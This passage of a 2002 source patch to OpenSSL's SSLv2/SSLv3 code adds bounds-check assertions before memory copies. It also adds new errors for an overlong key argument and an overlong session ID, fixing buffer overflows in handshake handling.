static SSL_METHOD *ssl2_get_client_method(int ver);
static int get_server_finished(SSL *s);
@@ -517,6 +518,7 @@
}
s->s2->conn_id_length=s->s2->tmp.conn_id_length;
+ die(s->s2->conn_id_length <= sizeof s->s2->conn_id);
memcpy(s->s2->conn_id,p,s->s2->tmp.conn_id_length);
return(1);
}
@@ -618,6 +620,7 @@
/* make key_arg data */
i=EVP_CIPHER_iv_length(c);
sess->key_arg_length=i;
+ die(i <= SSL_MAX_KEY_ARG_LENGTH);
if (i > 0) RAND_pseudo_bytes(sess->key_arg,i);
/* make a master key */
@@ -625,6 +628,7 @@
sess->master_key_length=i;
if (i > 0)
{
+ die(i <= sizeof sess->master_key);
if (RAND_bytes(sess->master_key,i) <= 0)
{
ssl2_return_error(s,SSL2_PE_UNDEFINED_ERROR);
@@ -668,6 +672,7 @@
d+=enc;
karg=sess->key_arg_length;
s2n(karg,p); /* key arg size */
+ die(karg <= sizeof sess->key_arg);
memcpy(d,sess->key_arg,(unsigned int)karg);
d+=karg;
@@ -688,6 +693,7 @@
{
p=(unsigned char *)s->init_buf->data;
*(p++)=SSL2_MT_CLIENT_FINISHED;
+ die(s->s2->conn_id_length <= sizeof s->s2->conn_id);
memcpy(p,s->s2->conn_id,(unsigned int)s->s2->conn_id_length);
s->state=SSL2_ST_SEND_CLIENT_FINISHED_B;
@@ -944,6 +950,8 @@
{
if (!(s->options & SSL_OP_MICROSOFT_SESS_ID_BUG))
{
+ die(s->session->session_id_length
+ <= sizeof s->session->session_id);
if (memcmp(buf,s->session->session_id,
(unsigned int)s->session->session_id_length) != 0)
{
Index: ssl/s2_lib.c
===================================================================
RCS file: /e/openssl/cvs/openssl/ssl/s2_lib.c,v
retrieving revision 1.29.2.2
diff -u -r1.29.2.2 s2_lib.c
--- ssl/s2_lib.c 2000/12/26 12:06:47 1.29.2.2
+++ ssl/s2_lib.c 2002/07/30 09:14:25
@@ -62,6 +62,7 @@
#include <openssl/rsa.h>
#include <openssl/objects.h>
#include <openssl/md5.h>
+#include "cryptlib.h"
static long ssl2_default_timeout(void );
const char *ssl2_version_str="SSLv2" OPENSSL_VERSION_PTEXT;
@@ -425,10 +426,14 @@
#endif
km=s->s2->key_material;
+ die(s->s2->key_material_length <= sizeof s->s2->key_material);
for (i=0; i<s->s2->key_material_length; i+=MD5_DIGEST_LENGTH)
{
MD5_Init(&ctx);
+ die(s->session->master_key_length >= 0
+ && s->session->master_key_length
+ < sizeof s->session->master_key);
MD5_Update(&ctx,s->session->master_key,s->session->master_key_length);
MD5_Update(&ctx,&c,1);
c++;
@@ -463,6 +468,7 @@
/* state=s->rwstate;*/
error=s->error;
s->error=0;
+ die(error >= 0 && error <= 3);
i=ssl2_write(s,&(buf[3-error]),error);
/* if (i == error) s->rwstate=state; */
Index: ssl/s2_srvr.c
===================================================================
RCS file: /e/openssl/cvs/openssl/ssl/s2_srvr.c,v
retrieving revision 1.25.2.5
diff -u -r1.25.2.5 s2_srvr.c
--- ssl/s2_srvr.c 2001/11/14 21:19:47 1.25.2.5
+++ ssl/s2_srvr.c 2002/07/30 09:14:26
@@ -116,6 +116,7 @@
#include <openssl/rand.h>
#include <openssl/objects.h>
#include <openssl/evp.h>
+#include "cryptlib.h"
static SSL_METHOD *ssl2_get_server_method(int ver);
static int get_client_master_key(SSL *s);
@@ -417,11 +418,18 @@
n2s(p,i); s->s2->tmp.clear=i;
n2s(p,i); s->s2->tmp.enc=i;
n2s(p,i); s->session->key_arg_length=i;
+ if(s->session->key_arg_length > SSL_MAX_KEY_ARG_LENGTH)
+ {
+ SSLerr(SSL_F_GET_CLIENT_MASTER_KEY,
+ SSL_R_KEY_ARG_TOO_LONG);
+ return -1;
+ }
s->state=SSL2_ST_GET_CLIENT_MASTER_KEY_B;
}
/* SSL2_ST_GET_CLIENT_MASTER_KEY_B */
p=(unsigned char *)s->init_buf->data;
+ die(s->init_buf->length >= SSL2_MAX_RECORD_LENGTH_3_BYTE_HEADER);
keya=s->session->key_arg_length;
len = 10 + (unsigned long)s->s2->tmp.clear + (unsigned long)s->s2->tmp.enc + (unsigned long)keya;
if (len > SSL2_MAX_RECORD_LENGTH_3_BYTE_HEADER)
@@ -502,6 +510,7 @@
#endif
if (is_export) i+=s->s2->tmp.clear;
+ die(i <= SSL_MAX_MASTER_KEY_LENGTH);
s->session->master_key_length=i;
memcpy(s->session->master_key,p,(unsigned int)i);
return(1);
@@ -649,6 +658,7 @@
p+=s->s2->tmp.session_id_length;
/* challenge */
+ die(s->s2->challenge_length <= sizeof s->s2->challenge);
memcpy(s->s2->challenge,p,(unsigned int)s->s2->challenge_length);
return(1);
mem_err:
@@ -800,6 +810,7 @@
}
/* SSL2_ST_GET_CLIENT_FINISHED_B */
+ die(s->s2->conn_id_length <= sizeof s->s2->conn_id);
len = 1 + (unsigned long)s->s2->conn_id_length;
n = (int)len - s->init_num;
i = ssl2_read(s,(char *)&(p[s->init_num]),n);
@@ -825,6 +836,7 @@
{
p=(unsigned char *)s->init_buf->data;
*(p++)=SSL2_MT_SERVER_VERIFY;
+ die(s->s2->challenge_length <= sizeof s->s2->challenge);
memcpy(p,s->s2->challenge,(unsigned int)s->s2->challenge_length);
/* p+=s->s2->challenge_length; */
@@ -844,6 +856,8 @@
p=(unsigned char *)s->init_buf->data;
*(p++)=SSL2_MT_SERVER_FINISHED;
+ die(s->session->session_id_length
+ <= sizeof s->session->session_id);
memcpy(p,s->session->session_id,
(unsigned int)s->session->session_id_length);
/* p+=s->session->session_id_length; */
Index: ssl/s3_clnt.c
===================================================================
RCS file: /e/openssl/cvs/openssl/ssl/s3_clnt.c,v
retrieving revision 1.31.2.6
diff -u -r1.31.2.6 s3_clnt.c
--- ssl/s3_clnt.c 2002/01/14 23:42:35 1.31.2.6
+++ ssl/s3_clnt.c 2002/07/30 09:14:27
@@ -117,6 +117,7 @@
#include <openssl/sha.h>
#include <openssl/evp.h>
#include "ssl_locl.h"
+#include "cryptlib.h"
static SSL_METHOD *ssl3_get_client_method(int ver);
static int ssl3_client_hello(SSL *s);
@@ -545,6 +546,7 @@
*(p++)=i;
if (i != 0)
{
+ die(i <= sizeof s->session->session_id);
memcpy(p,s->session->session_id,i);
p+=i;
}
@@ -625,6 +627,14 @@
/* get the session-id */
j= *(p++);
+
+ if(j > sizeof s->session->session_id)
+ {
+ al=SSL_AD_ILLEGAL_PARAMETER;
+ SSLerr(SSL_F_SSL3_GET_SERVER_HELLO,
+ SSL_R_SSL3_SESSION_ID_TOO_LONG);
+ goto f_err;
+ }
if ((j != 0) && (j != SSL3_SESSION_ID_SIZE))
{
Index: ssl/s3_srvr.c
===================================================================
RCS file: /e/openssl/cvs/openssl/ssl/s3_srvr.c,v
retrieving revision 1.49.2.14
diff -u -r1.49.2.14 s3_srvr.c
--- ssl/s3_srvr.c 2002/04/13 22:49:26 1.49.2.14
+++ ssl/s3_srvr.c 2002/07/30 09:14:28
@@ -122,6 +122,7 @@
#include <openssl/evp.h>
#include <openssl/x509.h>
#include "ssl_locl.h"
+#include "cryptlib.h"
static SSL_METHOD *ssl3_get_server_method(int ver);
static int ssl3_get_client_hello(SSL *s);
@@ -948,6 +949,7 @@
s->session->session_id_length=0;
sl=s->session->session_id_length;
+ die(sl <= sizeof s->session->session_id);
*(p++)=sl;
memcpy(p,s->session->session_id,sl);
p+=sl;
Index: ssl/ssl.h
===================================================================
RCS file: /e/openssl/cvs/openssl/ssl/ssl.h,v
retrieving revision 1.85.2.12
diff -u -r1.85.2.12 ssl.h
--- ssl/ssl.h 2002/01/14 23:42:42 1.85.2.12
+++ ssl/ssl.h 2002/07/30 09:14:29
@@ -1478,6 +1478,7 @@
#define SSL_R_INVALID_COMMAND 280
#define SSL_R_INVALID_PURPOSE 278
#define SSL_R_INVALID_TRUST 279
+#define SSL_R_KEY_ARG_TOO_LONG 1112
#define SSL_R_LENGTH_MISMATCH 159
#define SSL_R_LENGTH_TOO_SHORT 160
#define SSL_R_LIBRARY_BUG 274
@@ -1546,6 +1547,7 @@
#define SSL_R_SHORT_READ 219
#define SSL_R_SIGNATURE_FOR_NON_SIGNING_CERTIFICATE 220
#define SSL_R_SSL23_DOING_SESSION_ID_REUSE 221
+#define SSL_R_SSL3_SESSION_ID_TOO_LONG 1113
#define SSL_R_SSL3_SESSION_ID_TOO_SHORT 222
#define SSL_R_SSLV3_ALERT_BAD_CERTIFICATE 1042
#define SSL_R_SSLV3_ALERT_BAD_RECORD_MAC 1020
Index: ssl/ssl_asn1.c
===================================================================
RCS file: /e/openssl/cvs/openssl/ssl/ssl_asn1.c,v
retrieving revision 1.8
diff -u -r1.8 ssl_asn1.c
--- ssl/ssl_asn1.c 2000/06/01 22:19:19 1.8
+++ ssl/ssl_asn1.c 2002/07/30 09:14:29
@@ -62,6 +62,7 @@
#include <openssl/objects.h>
#include <openssl/x509.h>
#include "ssl_locl.h"
+#include "cryptlib.h"
typedef struct ssl_session_asn1_st
{
@@ -275,6 +276,7 @@
os.length=i;
ret->session_id_length=os.length;
+ die(os.length <= sizeof ret->session_id);
memcpy(ret->session_id,os.data,os.length);
M_ASN1_D2I_get(osp,d2i_ASN1_OCTET_STRING);
Index: ssl/ssl_err.c
===================================================================
RCS file: /e/openssl/cvs/openssl/ssl/ssl_err.c,v
retrieving revision 1.28.2.6
diff -u -r1.28.2.6 ssl_err.c
--- ssl/ssl_err.c 2001/11/10 01:15:29 1.28.2.6
+++ ssl/ssl_err.c 2002/07/30 09:14:30
@@ -1,6 +1,6 @@
/* ssl/ssl_err.c */
/* ====================================================================
- * Copyright (c) 1999 The OpenSSL Project. All rights reserved.
+ * Copyright (c) 1999-2002 The OpenSSL Project. All rights reserved.
*
* Redistribution and use in source and binary forms, with or without
* modification, are permitted provided that the following conditions
@@ -275,6 +275,7 @@
{SSL_R_INVALID_COMMAND ,"invalid command"},
{SSL_R_INVALID_PURPOSE ,"invalid purpose"},
{SSL_R_INVALID_TRUST ,"invalid trust"},
+{SSL_R_KEY_ARG_TOO_LONG ,"key arg too long"},
{SSL_R_LENGTH_MISMATCH ,"length mismatch"},
{SSL_R_LENGTH_TOO_SHORT ,"length too short"},
{SSL_R_LIBRARY_BUG ,"library bug"},
@@ -343,6 +344,7 @@
{SSL_R_SHORT_READ ,"short read"},
{SSL_R_SIGNATURE_FOR_NON_SIGNING_CERTIFICATE,"signature for non signing certificate"},
{SSL_R_SSL23_DOING_SESSION_ID_REUSE ,"ssl23 doing session id reuse"},
+{SSL_R_SSL3_SESSION_ID_TOO_LONG ,"ssl3 session id too long"},
{SSL_R_SSL3_SESSION_ID_TOO_SHORT ,"ssl3 session id too short"},
{SSL_R_SSLV3_ALERT_BAD_CERTIFICATE ,"sslv3 alert bad certificate"},
{SSL_R_SSLV3_ALERT_BAD_RECORD_MAC ,"sslv3 alert bad record mac"},
Index: ssl/ssl_sess.c
===================================================================
RCS file: /e/openssl/cvs/openssl/ssl/ssl_sess.c,v
retrieving revision 1.30.2.2
diff -u -r1.30.2.2 ssl_sess.c
--- ssl/ssl_sess.c 2002/02/10 12:52:57 1.30.2.2
+++ ssl/ssl_sess.c 2002/07/30 09:14:30
@@ -60,6 +60,7 @@
#include <openssl/lhash.h>
#include <openssl/rand.h>
#include "ssl_locl.h"
+#include "cryptlib.h"
static void SSL_SESSION_list_remove(SSL_CTX *ctx, SSL_SESSION *s);
static void SSL_SESSION_list_add(SSL_CTX *ctx,SSL_SESSION *s);
@@ -199,6 +200,7 @@
ss->session_id_length=0;
}
+ die(s->sid_ctx_length <= sizeof ss->sid_ctx);
memcpy(ss->sid_ctx,s->sid_ctx,s->sid_ctx_length);
ss->sid_ctx_length=s->sid_ctx_length;
s->session=ss;